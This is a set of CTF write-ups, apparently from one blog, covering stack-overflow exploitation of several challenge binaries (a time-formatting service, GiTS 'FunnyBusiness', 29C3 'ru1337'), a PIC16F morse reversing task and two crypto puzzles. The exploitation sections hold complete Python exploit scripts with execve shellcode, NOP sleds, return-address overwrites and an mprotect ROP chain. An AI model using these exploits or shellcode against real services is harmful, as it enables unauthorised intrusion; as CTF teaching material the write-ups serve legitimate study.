That's a great piece for our puzzle as this binary is ALSR: memory layout and so pointers change values (randomized base) each time you run it. Now we can hit the stack with 100% confidence. But it's not a vulnerability in itself. What else have we got in here ?

Let's take a look at the do_read() (again!) call for reading the time format:

.text:0000000000400931                 mov     rax, cs:off_601068
.text:0000000000400938                 mov     rcx, rax
.text:000000000040093B                 and     ecx, 7FFFFFFFh
.text:0000000000400941                 lea     rax, [rbp+format]
.text:0000000000400948                 mov     edx, 0Ah
.text:000000000040094D                 mov     rsi, rcx
.text:0000000000400950                 mov     rdi, rax
.text:0000000000400953                 call    do_read

In the rdi register we have the maximum buffer size allowed to be read from the socket, coming from rax and cs:off_601068:

.data:0000000000601068 off_601068      dq offset stderr+400h   ; DATA XREF: do_menu+BFr

What is this? stderr is an external symbol of libc. It's offset (position) in memory is a very big number and we are still adding even more with +400h.

As we can read almost as much we want in the format buffer due to the faulty max size, we can overflow it and smash the stack.

Using trial and error and Metasploit's pattern_create tool we calculate we have to fill 1064 bytes until we hit and overwrite the return address on the stack.

Our exploit payload will be:
- Send [PASSWORD][empty name "\n"]
- Receive "Welcome, %s!" and decode pointer for information leak
- Calculate RETIP using the leaked pointer, our NOPSLED will be 2112 bytes before this pointer

import socket
from struct import pack, unpack

host = ''
port = 5177

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))


data = s.recv(16384)
print repr(data)


data = s.recv(16384)
stack = data[len('Welcome, '):len('Welcome, ')+6] +"\x00\x00"

stack_addr = unpack('<Q', stack)[0]

print "stack_addr=", hex(stack_addr)

retip = pack('<Q', stack_addr - 0x840)

print 'retip=', repr(retip), len(retip)

s.send('\x90' * 16 + shellcode + 'A' * (1064 - 16 - len(shellcode)) + retip + "\n")

data = s.recv(32768)
print repr(data)

s.send("\ncat /home/shiftd/key\n")

data = s.recv(32768)
print data


"Welcome to Shifty's Time Formatting Service!\nWhat is your name?\n"
stack_addr= 0x7fffeba157e0L
retip= '\xa0O\xa1\xeb\xff\x7f\x00\x00' 8

GiTS 2013 CTF – Pwnable 100 Question 5 – FunnyBusiness

Posted by aXs

funnybusiness-fb84813ddd932f6aceee0ed3a4e9f1e0a7082dc1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped

After reversing this ELF32 binary, when we reconstruct the following connection handler:

int __cdecl handler(int sock_fd)
  int z_code;
  char zlib_input_buffer;

  strm.zalloc = 0;
  strm.zfree = 0;
  strm.opaque = 0;
  strm.avail_in = 0;
  strm.next_in = 0;
  z_code = inflateInit_(&strm, "1.2.7", 56);
  if ( !z_code )
    readAll(sock_fd, &strm.avail_in, 4u);
    if ( strm.avail_in <= 0x4000 )
      readAll(sock_fd, &zlib_input_buffer, strm.avail_in);
      strm.next_in = (Bytef *)&zlib_input_buffer;
      strm.avail_out = 16384;
      strm.next_out = (Bytef *)zlib_output_buffer;
      if ( inflate(&strm, 4) != 1 )
  return z_code;

- Initialize zlib 1.2.7 library
- Read compressed stream size from socket
- Read compressed stream into buffer
- Try to unpack it, exit if the compressed stream is corrupted
- If uncompress is succesful, return from the function

zlib_input_buffer is too small on purpose:

status= dword ptr -2Ch
flush= dword ptr -28h
stream_size= dword ptr -24h
zlib_input_buffer= byte ptr -0Dh
var_C= dword ptr -0Ch
var_8= dword ptr -8
var_4= dword ptr -4
sock_fd= dword ptr 4

So we can smash the stack and get control of the return address. But only if we can actually return from the function which mean the compressed stream we need to send must be valid and still contains our RETIP and shellcode in uncompressed form to be exploitable.

Hopefully, Zlib has many compression levels including the 0 level which means "no compression" at all.

Our exploit payload layout:

import socket
import zlib
from struct import pack, unpack

host = ''
port = 49681

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

plaintext = '000000'
plaintext += pack('<I', 0x0804B0AA)

# dup2(4)
shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6"
# execve shellcode
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

plaintext += shellcode

buffer = zlib.compress(plaintext, 0)

s.send(pack('<I', len(buffer)))

s.send("\ncat key\n")

data = s.recv(16384)
print repr(data)

Result and key:

$ python
'Compressions can be hard at times\n'
Tagged as: , , , Comments Off

Atast CTF – Gadget – IDA static analysis PIC16F Blinker Write-Up

Posted by aXs

Gadget was an electronic challenge at the Atast CTF. You get a schematic design for ISIS and .hex file for the PIC16F CPU. I choose to use the evaluation version of PIC Simulator just to visualize what this design was about:


When you run the program, the 8 LEDs will blink at the same time in short and long patterns: could be morse ?

I don't much about PIC and even less about electronic so let see how we can solve this challenge using only static analysis with IDA.

IDA will load the .hex file just fine. Make sure you uncheck "Memory layout" in the import options.

After reversing and renaming everything, its quite easy to understand what's going on:

The program entry point:

CODE:0000 ; Reset Vector
CODE:0000 ; Attributes: thunk
CODE:0000                 ; public start
CODE:0000 start:
CODE:0000                 b       main
CODE:0000 ; End of function start

The leds are turned on by setting RB0->RB7 pins (PORTB) to 0xFF:

CODE:000A led_on:                                 ; CODE XREF: main:sequence_startp
CODE:000A                                         ; main+16p ...
CODE:000A                 movlw   0FF
CODE:000B                 bcf     BANK0:STATUS, RP0
CODE:000C                 bcf     BANK0:STATUS, RP1
CODE:000D                 movwf   BANK0:PORTB
CODE:000E                 return
CODE:000E ; End of function led_on

..and turned off by clearing PORTB (output value 0x0):

CODE:001E led_off:                                ; CODE XREF: main+14p
CODE:001E                                         ; main+18p ...
CODE:001E                 bcf     BANK0:STATUS, RP0
CODE:001F                 bcf     BANK0:STATUS, RP1
CODE:0020                 clrf    BANK0:PORTB
CODE:0021                 return
CODE:0021 ; End of function led_off

We need to wait some time between signals so we have delay loops like this one:

DATA:007B wait1           equ 7B                  ; DATA XREF: wait_for_dash+3w
DATA:007C wait2           equ 7C                  ; DATA XREF: wait_for_dash+5w
DATA:007D wait3           equ 7D                  ; DATA XREF: wait_for_dash+7w

CODE:0022 delay:                                  ; CODE XREF: main+15p
CODE:0022                                         ; main+1Dp ...
CODE:0022                 movlw   82 ; 'é'
CODE:0023                 bcf     BANK0:STATUS, RP0
CODE:0024                 bcf     BANK0:STATUS, RP1
CODE:0025                 movwf   wait2
CODE:0026                 movlw   0DD ; '¦'
CODE:0027                 movwf   wait3
CODE:0028 wait_loop:                              ; CODE XREF: delay+7j
CODE:0028                                         ; delay+9j
CODE:0028                 decfsz  wait3, f
CODE:0029                  b       wait_loop
CODE:002A                 decfsz  wait2, f
CODE:002B                  b       wait_loop
CODE:002C                 nop
CODE:002D                 nop
CODE:002E                 return
CODE:002E ; End of function delay

We set 2 or 3 byte registers (depend how long the pause needs to be) to some value and then we have loops that decrement them until zero like this:

for wait1 in range(0x15):
  for wait2 in range(0x82):
    for wait3 in range(0xDD):
      # do nothing

We can sort the delay functions using these 3-bytes counter values and assign them proper name:
- 0082DD: delay is used when in between led blink sequence, not useful for morse decoding
- 0082DD: short is a short delay used for blinking a led: dot
- 028699: middle is used for a long blink: dash
- 048E12: long is used for delay between blinks: space

There is different subs for each different pause: short, long, etc... Careful renaming will make the main function easy to understand:

CODE:0058 main:                                   ; CODE XREF: startj
CODE:0058                 bsf     BANK0:STATUS, RP0
CODE:0059 ; assume bank = 1
CODE:0059                 bcf     BANK1:STATUS, RP1
CODE:005A                 clrf    BANK1:TRISB
CODE:005B                 bcf     BANK1:STATUS, RP0
CODE:005C ; assume bank = 0
CODE:005C                 clrf    BANK0:PORTB
CODE:005D                 movlw   15
CODE:005E                 movwf   wait1
CODE:005F                 movlw   4B ; 'K'
CODE:0060                 movwf   wait2
CODE:0061                 movlw   0BE ; '¥'
CODE:0062                 movwf   wait3
CODE:0063 loop_wait1:                             ; CODE XREF: main+Cj main+Ej ...
CODE:0063                 decfsz  wait3, f
CODE:0064                  b       loop_wait1
CODE:0065                 decfsz  wait2, f
CODE:0066                  b       loop_wait1
CODE:0067                 decfsz  wait1, f
CODE:0068                  b       loop_wait1
CODE:0069                 nop
CODE:006A sequence_start:                         ; CODE XREF: main+72j
CODE:006A                 call    led_on
CODE:006B                 call    wait_for_dash
CODE:006C                 call    led_off
CODE:006D                 call    delay
CODE:006E                 call    led_on
CODE:006F                 call    wait_for_dash
CODE:0070                 call    led_off
CODE:0071                 call    wait_for_space
CODE:0072                 call    led_on
CODE:0073                 call    wait_for_dash
CODE:0074                 call    led_off
CODE:0075                 call    delay
CODE:0076                 call    led_on
CODE:0077                 call    wait_for_dot
CODE:0078                 call    led_off
CODE:0079                 call    delay
CODE:007A                 call    led_on
CODE:007B                 call    wait_for_dash
CODE:007C                 call    led_off
CODE:007D                 call    delay
CODE:007E                 call    led_on
CODE:007F                 call    wait_for_dot
CODE:0080                 call    led_off
CODE:0081                 call    wait_for_space
CODE:0082                 call    led_on
CODE:0083                 call    wait_for_dot
CODE:0084                 call    led_off
CODE:0085                 call    delay
CODE:0086                 call    led_on
CODE:0087                 call    wait_for_dot
CODE:0088                 call    led_off
CODE:0089                 call    delay
CODE:008A                 call    led_on
CODE:008B                 call    wait_for_dash
CODE:008C                 call    led_off
CODE:008D                 call    wait_for_space
CODE:008E                 call    led_on
CODE:008F                 call    wait_for_dash
CODE:0090                 call    led_off
CODE:0091                 call    delay
CODE:0092                 call    led_on
CODE:0093                 call    wait_for_dash
CODE:0094                 call    led_off
CODE:0095                 call    wait_for_space
CODE:0096                 call    led_on
CODE:0097                 call    wait_for_dash
CODE:0098                 call    led_off
CODE:0099                 call    delay
CODE:009A                 call    led_on
CODE:009B                 call    wait_for_dash
CODE:009C                 call    led_off
CODE:009D                 call    delay
CODE:009E                 call    led_on
CODE:009F                 call    wait_for_dash
CODE:00A0                 call    led_off
CODE:00A1                 call    wait_for_space
CODE:00A2                 call    led_on
CODE:00A3                 call    wait_for_dot
CODE:00A4                 call    led_off
CODE:00A5                 call    delay
CODE:00A6                 call    led_on
CODE:00A7                 call    wait_for_dash
CODE:00A8                 call    led_off
CODE:00A9                 call    delay
CODE:00AA                 call    led_on
CODE:00AB                 call    wait_for_dot
CODE:00AC                 call    led_off
CODE:00AD                 call    wait_for_space
CODE:00AE                 call    led_on
CODE:00AF                 call    wait_for_dot
CODE:00B0                 call    led_off
CODE:00B1                 call    delay
CODE:00B2                 call    led_on
CODE:00B3                 call    wait_for_dot
CODE:00B4                 call    led_off
CODE:00B5                 call    delay
CODE:00B6                 call    led_on
CODE:00B7                 call    wait_for_dot
CODE:00B8                 call    led_off
CODE:00B9                 call    wait_for_space
CODE:00BA                 call    led_on
CODE:00BB                 call    wait_for_dot
CODE:00BC                 call    led_off
CODE:00BD                 movlw   15
CODE:00BE                 movwf   wait1
CODE:00BF                 movlw   4B ; 'K'
CODE:00C0                 movwf   wait2
CODE:00C1                 movlw   0BE ; '¥'
CODE:00C2                 movwf   wait3
CODE:00C3 wait_loop2:                             ; CODE XREF: main+6Cj
CODE:00C3                                         ; main+6Ej ...
CODE:00C3                 decfsz  wait3, f
CODE:00C4                  b       wait_loop2
CODE:00C5                 decfsz  wait2, f
CODE:00C6                  b       wait_loop2
CODE:00C7                 decfsz  wait1, f
CODE:00C8                  b       wait_loop2
CODE:00C9                 nop
CODE:00CA                 b       sequence_start
CODE:00CA ; End of function main

Translating to morse code the different waits: -- -.-. ..- -- --- .-. ... .


... and another victory for IDA static analysis.

Download challenge file:
Full .HEX disassembly: blinker.asm

Tagged as: , , Comments Off

29C3 CTF – Exploitation 200 – ru1337 write-up

Posted by aXs


Are you 31337? Get your credentials checked here

$ nc 1024
Please enter your username and password

User: aXs
Password: toto
u r not s0 1337zz!!!

After some work in your favorite debugger, we can work with the reversing of our little binary:

char *getUserAndPassword()
  char *buffer; // eax@1
  char password[128]; // [sp+24h] [bp-94h]@1
  char username[8]; // [sp+A4h] [bp-14h]@1
  int i; // [sp+ACh] [bp-Ch]@2

  memset(username, 0, 8u);
  memset(password, 0, 8u);
  buffer = (char *)mmap((void *)0xBADC0DE, 0x88u, 3, 34, 0, 0);
  mmap_buffer = buffer;
  if ( buffer != (char *)-1 )
    send(fd, "ID&PASSWORD 1337NESS EVALUATION\nPlease enter your username and password\n\nUser: ", 0x4Fu, 0);
    recv(fd, username, 0x2Cu, 0);
    for ( i = 0; i <= 7 && username[i] && username[i] != 10; ++i )
      if ( !((*__ctype_b_loc())[username[i]] & 0x400) )
    send(fd, "Password: ", 0xAu, 0);
    recv(fd, password, 0x80u, 0);
    strcpy(mmap_buffer, username);
    strcpy(mmap_buffer + 8, password);
    dup2(fd, 0);
    dup2(fd, 1);
    dup2(fd, 2);

- mmap a buffer at fixed address 0xbadc0de with RW permissions (0xbadc0de will be aligned to 0xbadc000)
- Read username, length 44 <- username is allocated 8 bytes on the stack: buffer overflow possible - Check first 8 characters of username are alphabetic - Read password, length 128 - Concat username and password into the mmap-ed buffer - dup2 the socket descriptor to stdin/stdout/stderr (make it even easier) Some words about __ctype_b_loc():

The __ctype_b_loc() function shall return a pointer into an array of characters in the current locale that contains characteristics for each character in the current character set. The array shall contain a total of 384 characters, and can be indexed with any signed or unsigned char (i.e. with an index value between -128 and 255).

We are checking against flag 0x400: this is simply the isalpha() macro

Our strategy:
- Overflow username to control RET address
- Use the nice mprotect sequence in the binary to pivot the stack
- ROP chain to mprotect the mmap-ed buffer to RWX permissions
- End ROP chain with jump to shellcode, will spawn /bin/bash
- Send commands to bash to list directory and display flag file

import socket
from struct import pack,unpack
import time

shellcode  = "\x89\xec" # restore sane esp with mov esp, ebp

# execve /bin/bash -p
shellcode += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52" \
"\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52" \

host = ''
port = 1024

mprotect_call = 0x080487D9
mprotect_setup = 0x080487BC

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))

login = 'A' * 20
rop  = pack('<I', 0x0badc000 + 8) # restore ebp
rop += pack('<I',  mprotect_setup) # stack pivot

rop += pack('<I', mprotect_call)
rop += pack('<I', 0xbadc000) # needs to be aligned
rop += pack("<I", 0xff) # size_t len
rop += pack("<I", 0x07) # RWX

buffer = login + rop


rop  = pack('<I', 0xbadc0ff) # restore ebp, will be used for esp later
rop += pack('<I', 0xbadc010) # eip with shellcode
rop += "\x90" * 4
rop += shellcode

s.send(rop + "\n")


s.send("\n/bin/ls -la\ncat flag\n")

while True:
    data = s.recv(1024)
    if data:
        print repr(data)


$ python
'ID&PASSWORD 1337NESS EVALUATION\nPlease enter your username and password\n\nUser: Password: '
'total 24\ndrwxr-xr-x 2 root root 4096 Dec 20 21:49 .\ndrwxr-xr-x 3 root root 4096 Dec 19 20:31 ..\n-r--r--r-- 1 root root   38 Dec 20 21:49 flag\n-r-xr-xr-x 1 root root 9776 Dec 26 01:42 ru1337\n'

HackYouToo CTF – Crypto 300 – Everybody Lies

Posted by aXs

Mr. Menhall has invented his own encryption algorithm and promised to give the flag to anyone who manages to decipher the message:


def hashcrypt(msg, key):
    token = hashlib.sha1(key).digest()
    res = ""
    for c in msg:
        n = ord(c) ^ 0xfe ^ 0xc3 ^ 0x42 ^ 0x21
        n ^= 0xc2 ^ ord(token[0])
        n ^= 0xf3 ^ ord(token[1])
        n ^= 0x27 ^ ord(token[2])
        n ^= 0x4c ^ ord(token[3])
        n ^= 0x21 ^ ord(token[4])
        n ^= 0xfe ^ ord(token[5])
        n ^= 0xa3 ^ ord(token[6])
        n ^= 0xf0 ^ ord(token[7])
        n ^= 0x11 ^ ord(token[6])
        n ^= 0x54 ^ ord(token[5])
        n ^= 0xca ^ ord(token[4])
        n ^= 0x3c ^ ord(token[3])
        n ^= 0x20 ^ ord(token[2])
        n ^= 0xd1 ^ ord(token[1])
        n ^= 0xf2 ^ ord(token[0])
        res += chr(n)
        token = hashlib.sha1(chr(n)).digest()
    return res.encode('base64').encode('rot13')

We need to code the reverse function to decrypt the cypher text.

Looking more closely, we notice most of the tokens (token[0] -> token[6]) are nulling each other because the operator between them is XOR: A^B^B = A

Also the token will get overwritten at each step with the sha1 hash of the previous cypher byte: We can decrypt all the chars except the first one.

import hashlib

def hashdecrypt(msg, key):
    msg = msg.decode('rot13').decode('base64')
    token = hashlib.sha1(key).digest()
    res = ""

    for c in msg:
        n = ord(c) ^ 0xfe ^ 0xc3 ^ 0x42 ^ 0x21
        n ^= 0xc2
        n ^= 0xf3
        n ^= 0x27
        n ^= 0x4c
        n ^= 0x21
        n ^= 0xfe
        n ^= 0xa3
        n ^= 0xf0 ^ ord(token[7])
        n ^= 0x11
        n ^= 0x54
        n ^= 0xca
        n ^= 0x3c
        n ^= 0x20
        n ^= 0xd1
        n ^= 0xf2
        res += chr(n)
        token = hashlib.sha1(c).digest()
    return res

msg = "vWsMajX21l6BdKwDxaRA3utqhpvFL0V="
plaintext = hashdecrypt(msg, "unknown")

print "plaintext=", plaintext


plaintext= 9_lied_no_flag_for_you!

Guessing time... "i_lied_no_flag_for_you!" was the correct flag.

Tagged as: Comments Off

HackYouToo CTF – Crypto 500 – AllahAkbar

Posted by aXs

We were able to intercept a suspicious file. This is an archive of correspondence between leading cryptographers of hostile organization.
According to the agents' data, during the conversation one of the respondents accidentally uses a file that is added as trusted to all computers of the organization. Their antivirus software recognizes the files by their md5 hashes. We want our virus to spread easily within their network and we have quantum computers, as well as other useful technologies. You understand the rest.

Let us know the md5 hash of deciphered 'bin' file.

Intelligence data:


We have a "bin" file which is encrypted using this organization's new encryption algorithm, we need to decrypt the file and submit its md5 as flag. So we really need to get all the bytes right.


100 138 138 119 20 126 130 134 118 20 142 118 130 140 120 102 20 145 150 20 110 139 116 157 144 141 20 133 168 2O 166 129 138 135 92 20 120 126 152 135 150 64 126 159 116 137 80 72 108 142 138 168 96 78 130 105 126 119 106 117 128 139 134 190 100 123 100 101 78 186 82 118 94 94 144 130 134 150 138 136 64 132 178 64 130 152 152 130 208 134 164 102 174 20 94 94 140 164 138 138 64 160 130 152 138 166 168 146 156 130 66 66 66 66 66 66 66 66 66 20 126 124

Algorithm for encryption is explained here:

function enc(plaintext){
        key = random() mod (length(plaintext) * 2);
        ct = [];
        {for c as all characters in pt}
                ct += ascii_code_of_char(c) + (ascii_code_of_char(c) mod key++);
        return ct;

Some remarks:
- The length of the document is known so key will be 0 >= key > len(document)*2
- The cipher function is y = x + (x mod a) which mean we have multiple solutions for x for a given y

Producing solution candidates:

import sys

cipher = [100,138,138,119,20,126,130,134,118,20,142,118,130,140,120,102,20,145,150,20,110,139,116,157,144,141,20,133,168,20,166,129,138,135,92,20,120,126,152,135,150,64,126,159,116,137,80,72,108,142,138,168,96,78,130,105,126,119,106,117,128,139,134,190,100,123,100,101,78,186,82,118,94,94,144,130,134,150,138,136,64,132,178,64,130,152,152,130,208,134,164,102,174,20,94,94,140,164,138,138,64,160,130,152,138,166,168,146,156,130,66,66,66,66,66,66,66,66,66,20,126,124]

for key in range(1, len(cipher) * 2):
    i = key
    has_solution = 1
    flag = ''
    for c in cipher:
        stop = 0
        solutions = []
        for x in range(1,256):
            b = x + (x % i)
            if c == b:
                stop = stop + 1
                flag = flag + chr(x)
        if stop == 0:
            has_solution = 0
        if key == 34: # guessed from list of possible solutions
            for solution in solutions:
                sys.stdout.write(chr(solution) + '(' + hex(solution) + ') ')
            print ""
        i = i + 1
    if has_solution == 1:
        print "key=", key, "flag=", repr(flag)


key= 2 flag= "cd\x8a\x87\x89u\x10\x13~}\x81\x82mr\n\x83\x89oy\x80\x82ltf\n\x13\x8b\x87\x91\ncn\x7f^j\x8d|\x89\x8a\nn\x90\x9f\n\x93\xa3rx\x89x@R\nbuft\x88\x81u\x8a Uk\x93Qh\\(@$Ohz_y\x890K']yQ\\yY5SY_~ec\x83\xa02S_2TU'J\xa4)M;/T/HnACjKEmD B\x83\xad AlLLxA\x95\xc2CR\x803W\x86\n//FwREwE PAuLEzST\x8aIN\x85A!!!!!!!!!\n?|>"
key= 4 flag= "bd\x86\x87\x8aw\x0e\x12~}\x82\x85kq\n\x86\x8dhy\x81\x8airY\n\x14}\x82\x8d\n[g\x84an\x92\x80\x8er\nq\x94\xa4\n\x86\x97ui{{AT\ndxhv\x8b\x84w\x8d Vm\x96Rj](A$Pj|`{\x8b0L'^{R]{Z5TZ`\x80fd\x85\xa22T`2UV'K\xa6)N;/U/HoACkKEnD B\x84\xaf AmLLyA\x96\xc4CR\x813W\x87\n//FxRExE PAvLE{ST\x8bIN\x86A!!!!!!!!!\n?}>"
key= 6 flag= "_b\x84\x85\x89v\x0f\x14vw}\x84ls\n\x7f\x87nw\x80\x7fnx]\n\x82\x87\x93\n^k\x89dr\x97u\x84u\nt\x87\x98\n\x89\x9bxk~~BV\nQfjx\x8e\x87y\x90 Wo\x99Sl^(B$Ql~a}\x8d0M'_}S^}[5U[@agCe\xa42Ua2VW'L\xa8)O;/V/HpAClKEoD B\x85\xb1 AnLLzA\x97\xc6CR\x823W\x88\n//FyREyE PAwLE|ST\x8cIN\x87A!!!!!!!!!\n?~>"
key= 8 flag= "^b\x84\x81\x86m\n\x10sy\x80\x7fks\n}\x86ts}\x85hsa\n\x87\x7f\x8c\nSaqXg\x9cx\x88x\nw\x8a\x9c\n\x8c\x9f{m\x81\x81CX\nRhlz\x91[{\x93 Xq\x9cTn_(C$6R\x80b\x7f\x8f0N'`\x7fT?_\\5V\\@bhCf\xa62Vb2WX'M\xaa)P;/W/HqACmKEpD BY\x86 AoLL{A\x98\xc8CR\x833W\x89\n//FzREzE PAxLE}ST\x8dIN\x88A!!!!!!!!!\n?>"
key= 10 flag= "_d\x87\x81\x87v\n\x11{y\x81vhq\n\x83\x8demx\x8blxe\n\x8c\x83\x91\nUdtZj\x80{\x8c{\nz\x8d\xa0\n\x8f\xa3~o\x84\x84DZ\nSjn|\x94\\}\x96 Ys\x9fUp`(D$6S\x82c\x81\x910O'a\x81U?`]5W]@ciCg\xa82Wc2XY'N\xac)Q;/X/HrACnKEqD BY\x87 ApLL|A\x99\xcaCR\x843W\x8a\n//F{RE{E PAyLE~ST\x8eIN\x89A!!!!!!!!!\n?>"
key= 12 flag= "\\b\x86}\x84p\n\x12rw\x80|cm\n~\x89iq}xcpN\n\x91\x87\x96\nWgw\\m\x83~\x90~\n}\x90\xa4\n}\x92\x81q\x87\x87E\\\nTlp~\x97]e\x7f ZukVra(E$6T\x84d\x83\x930P'AbV?a^5X^@djCh\xaa2Xd2YZ'\xae)R;/Y/HsACoKErD BY\x88 AqLL}A\x9a\xccCR\x853W\x8b\n//F|RE|E PAzLE\x7fST\x8fIN\x8aA!!!!!!!!!\n?>"
key= 14 flag= "\\c\x81}\x85w\n\x13xs}\x82gr\nw\x83mu\x82|ftP\nw{\x8b\nYjz^p\x86n\x81\x81\n\x80\x93\xa8\n\x7f\x95Ws\x8a[.F\nUnrf\x80^f\x81 [wlWtb(F$6U\x86e\x85\x950Q'AcW?b_5Y_@ekCi\xac2Ye2Z['\xb0);/Z/HtACpKEsD BY\x89 ArLL~A\x9b\xceCR\x863W\x8c\n//F}RE}E PA{LE\x80ST\x90IN\x8bA!!!!!!!!!\n?>"
key= 16 flag= "Zb\x89{\x84k\n\x14~mxq_k\n{\x88qky\x80ixR\nz~\x8f\n[m}`s\x89p\x84\x84\n\x83\x80\x96\n\x81\x98X]u\\.G\nVptg\x82_g\x83 \\ym:Xc(G$6V\x88f\x87\x970R'AdX?c`5Z`@flCj\xae2Zf2[\'\xb2);/[/HuACqKEtD BY\x8a AsLL\x7fA\x9c\xd0CR\x873W\x8d\n//F~RE~E PA|LE\x81ST\x91IN\x8cA!!!!!!!!!\n?>"
key= 18 flag= "V_~w\x81p\nmq}ubo\n\x7f\x8dun}\x84\\lT\n}\x81\x93\nJ]\x80Nb\x8cr\x87\x87\nY\x82\x99\n\x83\x9bY^w].H\nWrvh\x84`h\x85 ]{n:Yd(H$6W\x8ag\x89\x990S'AeY?da5[a@gmCk\xb02[g2\\]'\xb4);/\\/HvACrKEuD BY\x8b AtLL\x80Ah\x9dCR\x883W\x8e\n//F\x7fRE\x7fE PA}LE\x82ST\x92IN\x8dA!!!!!!!!!\n?>"
key= 20 flag= "Zd\x84|\x87u\nqu\x82yes\nt\x83Zq\x81\x88^oV\n\x80q\x84\nK_\x83Od\x8ft\x8a\x8a\nZ\x84\x9c\n\x85\x9eZ_y^.I\nXtxi\x86ai\x87 ^}o:Ze(I$6X\x8cEh\x9b0T'AfZ?eb5\\b@hnCl\xb22\\h2]^'\xb6);/]/HwACsKEvD BY\x8c AuLL\x81Ah\x9eCR\x893W\x8f\n//F\x80RE\x80E PA~LE\x83ST\x93IN\x8eA!!!!!!!!!\n?>"
key= 22 flag= "S^\x8au\x81a\nuky}Yh\nw\x87\\ct\x8c`rX\n\x83s\x87\nLa\x86Pf\x92v\x8d\x8d\n[\x86\x9f\n\x87\xa1[`{_.J\nYvzj\x88bj\x89 ?_p:[f(J$6Y\x8eEi\x9d0U'Ag[?fc5]c@ioCm\xb42]i2^_'\xb8);/^/HxACtKEwD BY\x8d AvLL\x82Ah\x9fCR\x8a3W\x90\n//F\x81RE\x81E PA\x7fLE\x84ST\x94IN\x8fA!!!!!!!!!\n?>"
key= 24 flag= "Vbwy\x86d\nyn}\x81[k\nz\x8b^ewkbuZ\n\x86u\x8a\nMc\x89Qh\x95x\x90_\n\\\x88\xa2\n\x89\xa4\\a}`.K\nZx|k\x8ack\x8b ?`q:\\g(K$6ZGEj\x9f0V'Ah\\?gd5^d@jpCn\xb62^j2_`'\xba);//HyACuKExD BY\x8e AwLL\x83Ah\xa0CR\x8b3W\x91\n//F\x82RE\x82E PA\x80LE\x85ST\x95IN\x90A!!!!!!!!!\n?>"
key= 26 flag= "LY{o}g\n}q\x81\x85]n\nk}`gzmdx\\\n\x89w\x8d\nNe]Rj\x98az`\n]\x8a\xa5\no\x8b]b\x7fa.L\n<[~l\x8cdl\x8d ?ar:]h(L$6[GEk\xa10W'Ai]?he5_e@kqCo\xb82_k2`a']);//HzACvKEyD BY\x8f AxLL\x84Ah\xa1CR\x8c3W\x92\n//F\x83RE\x83E PA\x81LE\x86ST\x96IN\x91A!!!!!!!!!\n?>"
key= 28 flag= "N\\\x7fr\x81j\n`ctf_q\nm\x80bi}oQf^\n\x8cy\x90\nOg^Sl\x9bb|a\n^\x8c\xa8\np\x8d^c\x81b.M\n<\\?m\x8eem\x8f ?bs:^i(M$6\\GEl\xa30X'Aj^?if5`f@lrCp\xba2`l2ab']);//H{ACwKEzD BY\x90 AyLL\x85Ah\xa2CR\x8d3W\x93\n//F\x84RE\x84E PA\x82LE\x87ST\x97IN\x92A!!!!!!!!!\n?>"
key= 30 flag= "P_\x83u\x85m\nbewhat\no\x83dk\x80qRh`\n\x8f{\x93\nPi_Tnic~b\n_q\x8e\nq\x8f_d\x83c.N\n<]?n\x90fn\x91 ?ct:_j(N$6]GEm\xa50Y'Ak_?jg5ag@msCq\xbc2am2bc']);//H|ACxKE{D BY\x91 AzLL\x86Ah\xa3CR\x8e3W\x94\n//F\x85RE\x85E PALE\x88ST\x98IN\x93A!!!!!!!!!\n?>"
key= 32 flag= "Rb\x87x\x89p\ndgzjOc\nq\x86fWmsSjb\na}\x96\nQk`Upjd\x80c\n`r\x90\nr\x91`e\x85d.O\n<^?o\x92go\x93 ?du:`k(O$6^GEn\xa70Z'Al`?kh5bh@ntCr\xbe2bn2cd']);//H}ACyKE|D BY\x92 A{LL\x87Ah\xa4CR\x8f3W\x95\n//F\x86RE\x86E PALE\x89ST\x99IN\x94A!!!!!!!!!\n?>"
C(0x43) T(0x54)
i(0x69) {(0x7b)

i(0x69) }(0x7d)
P(0x50) e(0x65)

s(0x73) ?(0x89)
X(0x58) o(0x6f)
T(0x54) l(0x6c)

e(0x65) (0x7f)

R(0x52) m(0x6d)
V(0x56) r(0x72)
e(0x65) ?(0x82)

s(0x73) ?(0x92)

s(0x73) ?(0x93)
f(0x66) ?(0x87)
.(0x2e) P(0x50)

<(0x3c) _(0x5f)
p(0x70) ?(0x94)
p(0x70) ?(0x95)
?(0x3f) e(0x65)
:(0x3a) a(0x61)
((0x28) P(0x50)
6(0x36) _(0x5f)
E(0x45) o(0x6f)
0(0x30) [(0x5b)
A(0x41) m(0x6d)
?(0x3f) l(0x6c)
5(0x35) c(0x63)
@(0x40) o(0x6f)
C(0x43) s(0x73)
2(0x32) c(0x63)
2(0x32) d(0x64)
H(0x48) ~(0x7e)
C(0x43) z(0x7a)
E(0x45) }(0x7d)
Y(0x59) ?(0x93)
A(0x41) |(0x7c)
L(0x4c) ?(0x88)
h(0x68) ?(0xa5)
R(0x52) ?(0x90)
W(0x57) ?(0x96)

F(0x46) ?(0x87)
E(0x45) ?(0x87)
E(0x45) ?(0x8a)
T(0x54) ?(0x9a)
N(0x4e) ?(0x95)

key= 34 flag= "CThi{s\nfi}lPe\ns\x89hXouTld\nbe\x7f\nRmaVrke\x82d\nas\x92\ns\x93af\x87e.P\n<_?p\x94hp\x95 ?ev:al(P$6_GEoT0['Ama?li5ci@ouCs_2co2de']);//H~ACzKE}D BY\x93 A|LL\x88Ah\xa5CR\x903W\x96\n//F\x87RE\x87E PALE\x8aST\x9aIN\x95A!!!!!!!!!\n?>"

I hand-picked key=34 as the most promising solution because of the amount of readable text and then printed all the possible solutions for each ciphertext bytes.

